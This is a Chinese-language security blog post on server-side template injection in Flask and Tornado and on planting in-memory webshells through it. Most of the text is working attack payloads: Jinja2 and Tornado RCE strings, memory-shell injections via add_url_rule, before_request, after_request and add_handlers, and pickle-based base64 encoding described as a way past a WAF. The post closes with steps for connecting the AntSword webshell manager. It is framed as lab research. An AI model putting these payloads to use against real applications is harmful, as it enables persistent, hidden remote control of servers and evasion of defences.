【ABKing】Flask和Tornado的SSTI内存马注入技术研究

通过对Python SSTI的技术研究,发现网上的一些Payload具有局限性,无法直接使用,踩了一些坑,完成了Flask和Tornado的内存马注入,可进行编码绕过WAF,并且可用中国蚁剑进行图形化管理。

0x00 起因

有个用户单位反馈,HW期间被攻击队打了个RCE,并且提供了攻击队的报告和防火墙的流量。正好临近年关,闲来无事,想到已经很久没有认真钻研技术了,遂开始进行研究。
image
经过分析,这似乎是SSTI的注入手法
通过对base64解码,发现注入了tornado的内存马

0x01 对Flask SSTI的研究

之前对SSTI不甚熟悉,正好借此机会,对SSTI进行研究,经过查找相关资料,发现最广泛的是Flask SSTI,于是先从这里入手
环境搭建:https://github.com/vulhub/vulhub/blob/master/flask/ssti/
或者可以直接使用在线的靶场,https://buuoj.cn/challenges#[Flask]SSTI
引起Flask SSTI的简单代码如下:

from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

通过以下payload可以判断存在SSTI
image
于是可以尝试使用python中的魔术方法:

__class__         当前类
__mro__           所有父类
__subclasses__()  所有子类
__globals__       全局变量
__builtins__      Python的所有“内置”标识符的直接访问
__import__        导入模块

有了以上基础后,我们可以找到一个RCE的Payload
{{ ''.__class__.__mro__[-1].__subclasses__()[67].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
image
至此,已经完成了RCE

0x02 对Python Flask 注入简单内存马的研究

根据内存马的原理,其实就是增加一条路由,在这条路由中增加一些代码操作
恰好存在这样一个方法,app.add_url_rule()
这里我使用的环境是
flask==1.1.1,jinja2==2.10.3
网上的Payload:

url_for.__globals__['__builtins__']['eval'](
    "app.add_url_rule(
        '/shell', 
        'shell', 
        lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
    )",
    {
        '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
        'app':url_for.__globals__['current_app']
    }
)


sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())
经过测试,这其中的url_for,sys,app,request等变量,并不能直接使用,会报错 该变量未定义
经过不懈的努力,终于发现了在flask.globals中存在上下文变量
image
由此,我们显然可以得到一个Payload
{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['__import__']('flask').globals.current_app.add_url_rule('/abking123','shell',lambda :__import__('os').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get('abking')).read()) }}
简直完美啊,通过__builtins__访问内置的__import__来导入flask,通过flask.globals访问current_app,这样就可以调用add_url_rule()了
那么结果怎么样呢?
image
emmmmmmm,这个报错也太神奇了吧,语法错误???
经过一个字符一个字符查看,不可能出现语法错误的,搜了半天,都没结果
在StackOverflow上面勉强得到的类似的结论:逻辑比较复杂,不要在jinja2的模板中使用复杂的逻辑,比如lambda匿名函数
只能稍微修改一下Payload了
{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('flask').globals.current_app.add_url_rule('/abking123','abking123',lambda :__import__('os').popen(__import__('flask').globals.request.args.get('abking')).read())") }}
接着访问 /abking123?abking=whoami
image
至此,flask的内存马就注入完毕,并且可以正常使用了

但是!在最新版的flask中,我们会发现存在问题:
image
flask最新版本做了限制,在setupmethod装饰器中增加了校验函数,这样一来就会导致在任何请求中,都无法再调用到使用了setupmethod装饰器的函数。
有什么办法解决吗?
当然有!
类似java中filter的概念,flask在每个请求前都有一个before_request,在每个请求后都有一个after_request
具体使用的时候就是在before_request请求列表或after_request中append一个新的函数
这里给出的一个使用了before_request的通杀新老版本的Payload:
{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: CmdResp if __import__('sys').modules['__main__'].__dict__['request'].args.get('abking') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get(\'abking\')).read())\")==None else None)") }}
同样地,还有使用after_request的通杀新老版本的Payload:
{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if __import__('sys').modules['__main__'].__dict__['request'].args.get('abking') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get(\'abking\')).read())\")==None else resp)") }}

0x03 加密传输

恰好这次攻击队的报告给了我灵感,使用pickle.loads()进行反序列化,可以完成加密传输
pickle中__reduce__魔法函数会在一个对象被反序列化时自动执行,我们可以通过在__reduce__魔法函数内植入恶意代码的方式进行任意命令执行。

以下是一个代码示例:

import pickle
import base64

code = """
def f():
    return __import__('os').popen('whoami').read()
f()
"""


class Exp:
    def __reduce__(self):
        return __builtins__.exec, (code,)


base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)
pickle.loads(base64.b64decode(base64_class))

执行结果如下:
image

此时,将控制台输出的base64编码后的字符串放入到SSTI的Payload中
可以得到
{{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFhBAAAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnb3MnKS5wb3Blbignd2hvYW1pJykucmVhZCgpCmYoKQpxAYVxAlJxAy4='))") }}
这样可以起到编码绕过WAF的作用,并且代码逻辑还可以更复杂一点,全部放入base64编码的字符串中,那么接下来只要寻找到蚁剑/冰蝎/哥斯拉的python格式的webshell就可以了。
但是,经过我的广泛搜索,竟然找不到python的webshell,唯一的蚁剑的自带的python格式的webshell也仅适用于python2,自己写一个吧,太麻烦了,这是下下策。

0x04 峰回路转完成蚁剑连接

经过我的不懈努力,在蚁剑的官方微信公众号上面发现了一个功能( https://mp.weixin.qq.com/s/tPPg4VgQH-n2O3Lnfg8lVA
image
竟然可以直连RCE漏洞,还没有语言的限制,这也太爽了吧
开始操作!
低版本flask支持add_url_rule()

import pickle
import base64

code = """
def f():
    return __import__('flask').globals.current_app.add_url_rule('/abking123', 'abking123', lambda: __import__('os').popen(__import__('flask').globals.request.form['abking']).read(), methods=['POST'])
f()
"""


class Exp:
    def __reduce__(self):
        return __builtins__.exec, (code,)


base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)

这里需要注意的是,一定要methods=['POST'],因为后续蚁剑连接的时候只支持POST方法

任意版本flask通杀1:

import pickle
import base64

code = """
def f():
    return __import__('flask').globals.current_app.before_request_funcs.setdefault(None, []).append(lambda: CmdResp if __import__('flask').globals.request.form.get('abking') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('flask').globals.request.form.get('abking')).read())")==None else None)
f()
"""

class Exp:
    def __reduce__(self):
        return __builtins__.exec, (code,)


base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)

任意版本flask通杀2:

import pickle
import base64

code = """
def f():
    return __import__('flask').globals.current_app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if __import__('flask').globals.request.form.get('abking') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('flask').globals.request.form.get('abking')).read())")==None else resp)
f()
"""
class Exp:
    def __reduce__(self):
        return __builtins__.exec, (code,)


base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)

注意:request.args修改成request.form的原因是蚁剑仅支持POST方法连接

将得到的base64编码后的字符串放入SSTI的Payload中,那么最终通杀低版本flask的加密Payload为
{{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFjWAAAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLmN1cnJlbnRfYXBwLmFkZF91cmxfcnVsZSgnL2Fia2luZzEyMycsICdhYmtpbmcxMjMnLCBsYW1iZGE6IF9faW1wb3J0X18oJ29zJykucG9wZW4oX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLnJlcXVlc3QuZm9ybVsnYWJraW5nJ10pLnJlYWQoKSwgbWV0aG9kcz1bJ1BPU1QnXSkKZigpCnEBhXECUnEDLg=='))") }}
使用app.before_request_funcs.setdefault()函数的通杀任意版本flask的加密Payload为
{{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFhpAQAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLmN1cnJlbnRfYXBwLmJlZm9yZV9yZXF1ZXN0X2Z1bmNzLnNldGRlZmF1bHQoTm9uZSwgW10pLmFwcGVuZChsYW1iZGE6IENtZFJlc3AgaWYgX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLnJlcXVlc3QuZm9ybS5nZXQoJ2Fia2luZycpIGFuZCBleGVjKCJnbG9iYWwgQ21kUmVzcDtDbWRSZXNwPV9faW1wb3J0X18oJ2ZsYXNrJykubWFrZV9yZXNwb25zZShfX2ltcG9ydF9fKCdvcycpLnBvcGVuKF9faW1wb3J0X18oJ2ZsYXNrJykuZ2xvYmFscy5yZXF1ZXN0LmZvcm0uZ2V0KCdhYmtpbmcnKSkucmVhZCgpKSIpPT1Ob25lIGVsc2UgTm9uZSkKZigpCnEBhXECUnEDLg=='))") }}
使用app.after_request_funcs.setdefault()函数的通杀任意版本flask的加密Payload为
{{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFhtAQAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLmN1cnJlbnRfYXBwLmFmdGVyX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLCBbXSkuYXBwZW5kKGxhbWJkYSByZXNwOiBDbWRSZXNwIGlmIF9faW1wb3J0X18oJ2ZsYXNrJykuZ2xvYmFscy5yZXF1ZXN0LmZvcm0uZ2V0KCdhYmtpbmcnKSBhbmQgZXhlYygiZ2xvYmFsIENtZFJlc3A7Q21kUmVzcD1fX2ltcG9ydF9fKCdmbGFzaycpLm1ha2VfcmVzcG9uc2UoX19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdmbGFzaycpLmdsb2JhbHMucmVxdWVzdC5mb3JtLmdldCgnYWJraW5nJykpLnJlYWQoKSkiKT09Tm9uZSBlbHNlIHJlc3ApCmYoKQpxAYVxAlJxAy4='))") }}
其中,eval可以用exec互相代替。
执行结果如下:
image
启动蚁剑连接! http://127.0.0.1:5000/abking123 密码abking
注意:如果蚁剑报错405,原因就是蚁剑只支持POST方法连接,所以一定需要methods=['POST']
image
image
至此,完成任意版本flask的加密SSTI的蚁剑内存马注入!

0x05 Tornado内存马注入

完成flask的内存马注入后,我们可以很容易推广到Tornado的内存马注入
Tornado引起SSTI的代码示例如下:
注意:我使用的版本是tornado==5.1.1

import tornado.ioloop
import tornado.web


class IndexHandler(tornado.web.RequestHandler):
    def get(self):
        tornado.web.RequestHandler._template_loaders = {}#清空模板引擎

        with open('index.html', 'w') as (f):
            f.write(self.get_argument('name'))
        self.render('index.html')


app = tornado.web.Application(
    [('/', IndexHandler)],
)
app.listen(5000, address="127.0.0.1")
tornado.ioloop.IOLoop.current().start()

image
使用以下Payload可以完成RCE
{{__import__('os').popen('whoami').read()}}
image
同样地,为了上线蚁剑,我们必须打入POST类型的内存马

注意:这里使用{{__import__('os').popen(handler.get_argument('abking')).read()}}是无法使用蚁剑上线的,原因就是POST的问题

在Tornado中,存在添加路由的函数add_handlers(),因此我们利用这一点得到以下Payload
{{handler.application.add_handlers(".*",[("/abking123",type("x",(__import__("tornado").web.RequestHandler,),{"post":lambda x: x.write(str(eval(x.get_argument("code"))))}))])}}
使用蚁剑连接,密码为cmd
http://127.0.0.1:5000/abking123?code=__import__('os').popen(x.get_argument('cmd')).read()
image
image

进一步缩写:{{handler.application.add_handlers(".*",[("/abking123",type("x",(__import__("tornado").web.RequestHandler,),{"post":lambda x: x.write(str(__import__('os').popen(x.get_argument("abking")).read()))}))])}}
使用蚁剑连接,密码为abking http://127.0.0.1:5000/abking123
image

同样地,Tornado也可以使用pickle来进行编码

import pickle
import base64

code = """
def f():
    return handler.application.add_handlers(".*",[("/abking123",type("x",(__import__("tornado").web.RequestHandler,),{"post":lambda x: x.write(str(__import__('os').popen(x.get_argument("abking")).read()))}))])
f()
"""
class Exp:
    def __reduce__(self):
        return __builtins__.exec, (code,)


base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)

得到的Payload为
{{''.__class__.__mro__[-1].__subclasses__()[67].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFjgAAAACmRlZiBmKCk6CiAgICByZXR1cm4gaGFuZGxlci5hcHBsaWNhdGlvbi5hZGRfaGFuZGxlcnMoIi4qIixbKCIvYWJraW5nMTIzIix0eXBlKCJ4IiwoX19pbXBvcnRfXygidG9ybmFkbyIpLndlYi5SZXF1ZXN0SGFuZGxlciwpLHsicG9zdCI6bGFtYmRhIHg6IHgud3JpdGUoc3RyKF9faW1wb3J0X18oJ29zJykucG9wZW4oeC5nZXRfYXJndW1lbnQoImFia2luZyIpKS5yZWFkKCkpKX0pKV0pCmYoKQpxAYVxAlJxAy4='))") }}
使用蚁剑连接,密码为abking
http://127.0.0.1:5000/abking123
image
至此,完成Tornado的最新版本的SSTI蚁剑内存马注入!

0x06 参考

https://www.cnblogs.com/gxngxngxn/p/18181936
https://tiangonglab.github.io/blog/tiangongarticle038/

0x07 碎碎念

通过这次技术研究,发现自己虽然有一段时间没有碰技术了,但是做技术研究的方式、搜寻资料的方法,搭建环境测试的技巧以及不断钻研的决心和毅力还是存在脑海里的。
正好最近自己的生活也变化的很快,快要上岸了,不知道那时候还会不会做技术了,近几个月来,不断地考试考试,经历了这么多,终将上岸。以前在小米工作的时候,只想一心在互联网挣钱,后来感慨互联网江河日下,中年失业潮成为悬在头上的达摩克里斯之剑,于是在二十出头的年纪就开始谋划跑路了,直至现在才终于梦想成真。感谢身边的每个人,尤其是感谢自己。

posted @ 2025-01-17 11:33  ABKing  阅读(89)  评论(0)    收藏  举报